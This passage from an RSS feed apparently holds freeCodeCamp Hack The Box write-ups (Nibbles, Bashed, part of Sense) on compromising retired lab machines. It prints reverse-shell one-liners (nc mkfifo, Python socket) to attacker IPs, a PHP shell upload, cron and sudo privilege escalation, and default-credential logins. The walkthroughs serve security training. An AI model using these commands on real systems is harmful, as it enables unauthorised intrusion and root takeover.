<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.28.31.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Back to my terminal, I create a new file called <strong>image.php</strong> with:</p>
<pre><code class="lang-bash">nano image.php
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.29.02.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I modify the file for the variable <strong>$IP</strong> with my HTB IP:</p>
<pre><code class="lang-bash"><span class="hljs-variable">$IP</span> = <span class="hljs-string">'10.10.14.110'</span>;
</code></pre>
<p>I leave the port to <strong>1234</strong>:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.29.36.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Back to the Nibbleblog Dashboard. I upload the newly created <strong>image.php</strong> file with the reverse shell code. Ignore the warnings.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.24.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I set up a <strong>Ncat</strong> listener on port <strong>1234</strong> to catch the reverse shell connection.</p>
<blockquote>
<p>Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable <a target="_blank" href="http://sectools.org/tool/netcat/">Netcat</a>. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users.</p>
</blockquote>
<p>You can learn more about Ncat <a target="_blank" href="https://nmap.org/book/ncat-man.html">here</a>.</p>
<pre><code class="lang-bash">nc -nlvp 1234
</code></pre>
<p>And I navigate to the page to trigger the exploit:</p>
<pre><code class="lang-bash">10.129.151.27/nibbleblog/content/private/plugins/my_images/image.php
</code></pre>
<p>I then get a session back!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.25.29.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-4-look-for-the-usertxt-flag"><strong>Step 4 - Look for the user.txt Flag</strong></h2>
<p>I check where I am located on the machine:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.48.31.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And start navigating up to the <strong>home</strong> folder.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.49.39.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And I find the user flag! I can check the contents of the file with:</p>
<pre><code class="lang-bash">cat user.txt
</code></pre>
<h2 id="heading-step-5-look-for-the-roottxt-flag"><strong>Step 5 -</strong> Look <strong>for the root.txt</strong> F<strong>lag</strong></h2>
<p>I navigate back to the <strong>/</strong> folder. I can't access the <strong>root</strong> folder.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.50.25.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I type the following command to get a standard shell on the target system:</p>
<pre><code class="lang-bash">shell
</code></pre>
<p>I spawn a TTY shell with:</p>
<pre><code class="lang-bash">python3 -c <span class="hljs-string">"import pty; pty.spawn('/bin/bash/');"</span>
</code></pre>
<p>I have to use python3:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.52.44.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I need to change to the root user to access this folder. I use the command:</p>
<pre><code class="lang-bash">sudo -l
</code></pre>
<p>to understand which command I can run on localhost.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.53.29.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find that the user <strong>Nibbler</strong> can execute the <strong>/home/nibbler/personal/stuff/monitor.sh</strong> command as “root” without a password.</p>
<p>Let's find this file! I navigate back to <strong>/home/nibbler/</strong> and find a zip file called <strong>personal.zip</strong>. I unzip the content with this command:</p>
<pre><code class="lang-bash">unzip personal.zip
</code></pre>
<p>I can see the <strong>/personal/stuff/monitor.sh</strong> file we are looking for:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.55.37.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check the content of the file with:</p>
<pre><code class="lang-bash">cat monitor.sh
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-23-at-23.56.32.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I decide to append the reverse shell to the end of this file with:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">echo</span> <span class="hljs-string">"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2&gt;&amp;1 | nc 10.10.14,110 1234 &gt; /tmp/f"</span> &gt;&gt; monitor.sh
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.10.19.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I cat the file to check if it has been added correctly to the end of the file:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.10.41.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I set up a <strong>Ncat</strong> listener on port <strong>1234</strong> to catch the reverse shell connection on my terminal:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.11.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And I then run the command on Nibbler's terminal with:</p>
<pre><code class="lang-bash">sudo /home/nibbler/personal/stuff/monitor.sh
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.09.51.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I am now root! I can navigate to the <strong>root</strong> folder. I find the root.txt file and check its content with:</p>
<pre><code class="lang-bash">cat root.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-00.12.55.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Congrats! You found both flags.</p>
<h2 id="heading-remediations"><strong>Remediations</strong></h2>
<ul>
<li>Use complex passwords and don't use default/generic passwords – admin:nibbles is too simple</li>
<li>Patch to latest – in that case patch to the latest Nibbeblog version available </li>
<li>Apply the p<a target="_blank" href="https://en.wikipedia.org/wiki/Principle_of_least_privilege">rinciple of least privilege</a> to all your systems and services</li>
</ul>
<p>Please don’t hesitate ask questions or share with your friends :)</p>
<p>You can see more articles from the series <strong>Keep Calm and Hack the Box</strong> <a target="_blank" href="https://www.freecodecamp.org/news/search/?query=keep%20calm%20and%20hack%20the%20box">here</a>.</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a>.</p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/synthwave-cityscape-4k-6x-1920x1080.jpeg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box - Bashed ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-bashed/</link>
                <guid isPermaLink="false">66ba310ed39afb159985752c</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Fri, 26 Feb 2021 22:12:20 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/02/night-city-cyberpunk-2077-1920-1080-1.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills.</p>
<p>It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>: <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/01/Screenshot-2021-01-05-at-00.03.21.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Bashed is an easy machine which focuses on fuzzing and locating important files. Basic knowledge of Linux and cron jobs are necessary. </p>
<p>We will use the following tools to pawn the box on a <a target="_blank" href="https://www.kali.org/">Kali Linux box</a>:</p>
<ul>
<li>nmap</li>
<li>dirbuster</li>
<li>nikto</li>
<li>netcat</li>
</ul>
<p>Let's get started!</p>
<h2 id="heading-step-1-reconnaissance"><strong>Step 1 - Reconnaissance</strong></h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h3 id="heading-port-scanning"><strong>Port scanning</strong></h3>
<p>I will use <strong>Nmap</strong> (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing.</p>
<p>It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.</p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/01/Screenshot-2021-01-05-at-00.08.12.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v 10.129.90.251
</code></pre>
<p><strong>-A:</strong> Enables OS detection, version detection, script scanning, and traceroute</p>
<p><strong>-v:</strong> Increases verbosity level</p>
<p><strong>10.129.90.251</strong>:<em>**</em> IP address of the Bashed box</p>
<p>If you find the results a little bit too overwhelming, you can try this:</p>
<pre><code class="lang-bash">nmap 10.129.90.251
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.04.49.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that there is 1 open port:</p>
<p><strong>Port</strong> 80, most often used by Hypertext Transfer Protocol (HTTP).</p>
<h3 id="heading-directory-scanning"><strong>Directory scanning</strong></h3>
<p>Still in the scanning and reconnaissance phase, I now use <strong>DirBuster</strong>. DirBuster is a multi threaded Java application designed to brute force directories and file names on web/application servers.</p>
<p>You can launch DirBuster by typing this command on the terminal:</p>
<pre><code class="lang-bash">dirbuster
</code></pre>
<p>The application looks like this, where you can specify the target URL. In our case it will be <strong>http://10.129.90.251</strong>. You can select a wordlist with the list of <strong>dirs/files</strong> by clicking the Browse button:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.10.29.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the <strong>directory-list-2.3-medium.txt</strong> for this search. We can see a lot of files here:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.20.55.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see some interesting directories to check (/uploads, /dev, /php).</p>
<p>I then use <strong>Nikto</strong>.</p>
<blockquote>
<p>Nikto is an Open Source web server scanner which performs comprehensive tests against web servers for multiple items, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers.  </p>
<p>It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software.</p>
</blockquote>
<p>You can find more info on the tool <a target="_blank" href="https://tools.kali.org/information-gathering/nikto">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.25.01.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use this command to launch the scan</p>
<pre><code class="lang-bash">nikto -host 10.129.90.251
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.23.46.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see a couple of interesting directories (/dev, /php). </p>
<h2 id="heading-step-2-visiting-the-web-page"><strong>Step 2 - Visiting the web page</strong></h2>
<p>Let's visit the pages we found from the reconnaissance phase, and start by the main web page. It seems to be a blog on development.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.28.03.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I click on the <strong>phpbash</strong> article. The page explains what it is and gives a link to a GitHub repository.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.31.28.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I check the GitHub repository.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.29.55.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://github.com/Arrexel/phpbash">https://github.com/Arrexel/phpbash</a></em></p>
<p>I then navigate to the <strong>/dev</strong> folder. It seems that the developer uploaded their code on the website. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.27.16.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I click on <strong>phpbash.php</strong> and have access to a shell within the browser at</p>
<pre><code class="lang-bash">http://10.129.90.251/dev/phpbash.php
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.33.02.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-3-look-for-the-usertxt-flag"><strong>Step</strong> 3 <strong>-</strong> Look for the user.txt flag</h2>
<p>I can list all the files/folders with the following command:</p>
<pre><code class="lang-bash">ls -la
</code></pre>
<p>I then move to the <strong>home</strong> folder with:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> home
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.35.56.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I find <strong>arrexel</strong>'s folder.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.36.05.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I navigate into this folder and I find the user flag! I check the content of the file with:</p>
<pre><code class="lang-bash">cat user.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.37.13.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-4-performing-privilege-escalation"><strong>Step</strong> 4 <strong>-</strong> Performing Privilege Escalation</h2>
<p>I need a proper shell for privilege escalation. On the <strong>phpbash</strong> window, I run the following command:</p>
<pre><code class="lang-bash">python -c <span class="hljs-string">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_MACHINE_IP",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</span>
</code></pre>
<p>I set up a <strong>Netcat</strong> listener on port <strong>1234</strong> to catch the reverse shell connection.</p>
<blockquote>
<p>Ncat is a feature-packed networking utility which reads and writes data across networks from the command line.   </p>
<p>Ncat was written for the Nmap Project as a much-improved reimplementation of the venerable <a target="_blank" href="http://sectools.org/tool/netcat/">Netcat</a>. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users.</p>
</blockquote>
<p>You can learn more about Netcat <a target="_blank" href="https://nmap.org/book/ncat-man.html">here</a>.</p>
<pre><code class="lang-bash">nc -nvlp 1234
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.58.16.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I got a shell and check who I am with</p>
<pre><code class="lang-bash">whoami
</code></pre>
<p>then run</p>
<pre><code class="lang-bash">sudo -l
</code></pre>
<p>to understand which command I can run on localhost.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-22.59.12.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Let's change to <strong>scriptmanager</strong> to check if this user has access to a folder that www-data could not access. But first I spawn a proper shell with the command</p>
<pre><code class="lang-bash">python -c <span class="hljs-string">'import pty; pty.spawn("/bin.bash");'</span>
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-23.04.34.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then switch to the user <strong>scriptmanager</strong> with the command</p>
<pre><code class="lang-bash">sudo -u scriptmanager /bin/bash
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-23.04.47.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I then navigate to the <strong>/scripts</strong> folder and see two files (<strong>test.py</strong> and <strong>test.txt</strong>).</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-23.06.54.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><strong>test.txt</strong> file is owned by root and seems to be the results of the <strong>test.py</strong> script which is owned by scriptmanager.</p>
<p>I check the content of <strong>test.py</strong> with</p>
<pre><code class="lang-bash">cat test.py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-23.07.56.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>and the content of <strong>test.txt</strong> with </p>
<pre><code class="lang-bash">cat test.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-23.10.28.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I list all the files one more time and I see that the time for <strong>test.tx</strong>t has changed. We can assume that there's a cron job running the <strong>test.py</strong> script from the <strong>/scripts</strong> folder.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-23.10.57.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Let's write an exploit with</p>
<pre><code>echo <span class="hljs-string">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_MACHINE_IP",1235));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</span> &gt; exploit.py
</code></pre><p>and save it as <strong>exploit.py</strong>.</p>
<p>I delete the <strong>test.py</strong> file with </p>
<pre><code>rm test.py
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-23.22.35.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I set up another <strong>Netcat</strong> listener on port <strong>1235</strong> to catch the reverse shell connection.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-23.23.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I am now root! </p>
<p>I list the cron jobs list to verify my assumption with</p>
<pre><code>crontab -l
</code></pre><p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-23.27.25.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The cron job executes Python files in the <strong>/scripts</strong> folder.</p>
<h2 id="heading-step-5-looking-for-the-roottxt-flag"><strong>Step</strong> 5 <strong>-</strong> Looking for the root.txt flag</h2>
<p>Let's find the root flag now. I navigate up to <strong>root</strong>.</p>
<p>I find the root.txt file and check its content with</p>
<pre><code class="lang-bash">cat root.txt
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/Screenshot-2021-02-01-at-23.26.45.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Congrats! You found both flags.</p>
<h2 id="heading-remediations"><strong>Remediations</strong></h2>
<ul>
<li>Apply the p<a target="_blank" href="https://en.wikipedia.org/wiki/Principle_of_least_privilege">rinciple of least privilege</a> to all your systems and services</li>
<li>Sensitive files or directories should not be hosted on a server/ or publicly available. A quick reconnaissance will allow an attacker to enumerate folders/files and access them</li>
</ul>
<p>Please don’t hesitate to ask questions or share with your friends :)</p>
<p>You can see more articles from the series <strong>Keep Calm and Hack the Box</strong> <a target="_blank" href="https://www.freecodecamp.org/news/search/?query=keep%20calm%20and%20hack%20the%20box">here</a>.</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a>.</p>
<p>And don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/02/night-city-cyberpunk-2077-1920-1080.jpg" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box - Sense ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-sense/</link>
                <guid isPermaLink="false">66ba312fa7990ee5f3aa5de2</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ethical Hacking ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Linux ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Thu, 05 Nov 2020 16:31:00 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2020/11/702551-1.jpg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills.</p>
<p>It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>: <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-08-at-21.26.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Sense is fairly simple overall. It demonstrates the risks of bad password practices as well as exposing internal files on a public facing system.</p>
<p>We will use the following tools to pawn the box on a <a target="_blank" href="https://www.kali.org/">Kali Linux box</a>:</p>
<ul>
<li>nmap</li>
<li>dirbuster</li>
<li>searchsploit</li>
</ul>
<p>Let's get started!</p>
<h2 id="heading-step-1-reconnaissance"><strong>Step 1 - Reconnaissance</strong></h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h3 id="heading-port-scanning"><strong>Port scanning</strong></h3>
<p>I will use <strong>Nmap</strong> (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing.</p>
<p>It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.</p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.05.48.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v 10.10.10.60
</code></pre>
<p><strong>-A:</strong> Enables OS detection, version detection, script scanning, and traceroute</p>
<p><strong>-v:</strong> Increases verbosity level</p>
<p><strong>sense</strong>.htb:<em>**</em> hostname for the Sense box</p>
<p>If you find the results a little bit too overwhelming, you can try this:</p>
<pre><code class="lang-bash">nmap 10.10.10.60
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.04.31.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>We can see that there are 2 open ports including:</p>
<p><strong>Port</strong> 80, most often used by Hypertext Transfer Protocol (HTTP)</p>
<p><strong>Port</strong> 443, standard port for all secured HTTP traffic</p>
<h3 id="heading-ia"> </h3>
<p>Directory scanning</p>
<p>Still in the scanning and reconnaissance phase, I now use <strong>DirBuster</strong>. DirBuster is a multi threaded Java application designed to brute force directories and files names on web/application servers.</p>
<p>You can launch DirBuster by typing this command on the terminal:</p>
<pre><code class="lang-bash">dirbuster
</code></pre>
<p>or by searching the application:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2019/09/Screenshot-2019-09-02-at-21.01.31-1.png" alt="Image" width="600" height="400" loading="lazy">
<em>Old Kali</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.09.39.png" alt="Image" width="600" height="400" loading="lazy">
<em>New Kali</em></p>
<p>The application looks like this, where you can specify the target URL. In our case it will be <strong>https://10.10.10.</strong>60. You can select a wordlist with the list of <strong>dirs/files</strong> by clicking the Browse button:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.10.33.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the <strong>directory-list-2.3-medium.txt</strong> for this search. We can see some interesting files here:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.11.18.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-2-visiting-the-files-we-got-from-the-recon-phase"><strong>Step 2 - Visiting the</strong> files we got from the recon phase</h2>
<p>Let's navigate to the <strong>changelog.txt</strong> file. We're getting more information around some security changelog, including patching vulnerabilities and timeline.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.12.44.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Another interesting file is <strong>system-users.txt</strong> which does contain a username and an indication for the password.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.13.16.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-3-visiting-the-web-page"><strong>Step</strong> 3 <strong>- Visiting the web page</strong></h2>
<p>Let's navigate to the website. We see a pfSense panel. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.18.08.png" alt="Image" width="600" height="400" loading="lazy"></p>
<blockquote>
<p><strong>pfSense</strong> is an open sourcefirewall/router computer software distribution based on FreeBSD. It is installed on a physical computer or a virtual machine to make a dedicated firewall/router for a network. It can be configured and upgraded through a web-based interface, and requires no knowledge of the underlying FreeBSD system to manage - Wikipedia</p>
</blockquote>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/11/Screenshot-2020-11-03-at-21.24.44.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://www.pfsense.org/</em></p>
<p>Let's Google to see if we can find the default username and password for pfSense. Bingo! We do find some documentation on Netgate Docs.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.19.03.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://docs.netgate.com/pfsense/en/latest/solutions/m1n1wall/getting-started.html</em></p>
<p>I try the username <strong>Rohit</strong> and the password <strong>pfsense</strong> on the login page and I'm in! I have a look at the dashboard and other information I could gather. We can see which specific version we're on - <strong>2.1.3-RELEASE (amd64)</strong>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.19.37.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-step-4-looking-for-an-exploit"><strong>Step</strong> 4 <strong>-</strong> Looking for an exploit</h2>
<p>I use <strong>Searchsploit</strong> to check if there is any known exploit. Searchsploit is a command line search tool for <a target="_blank" href="https://www.exploit-db.com/">Exploit Database</a>.</p>
<p>I use the following command:</p>
<pre><code class="lang-bash">searchsploit pfsense
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.21.06.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I get more details on an exploit with:</p>
<pre><code class="lang-bash">searchsploit -x 43560.py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.23.18.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.22.51.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You can also check the <strong>Exploit Database</strong> to find the same exploit.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.20.33.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://www.exploit-db.com/exploits/43560</em></p>
<p>I get more information with:</p>
<pre><code class="lang-bash">searchsploit -p 43560.py
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2020/09/Screenshot-2020-09-15-at-21.23.55.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I can see where it is located on my Kali box. I copy the file in my <strong>Sense</strong> folder with:</p>
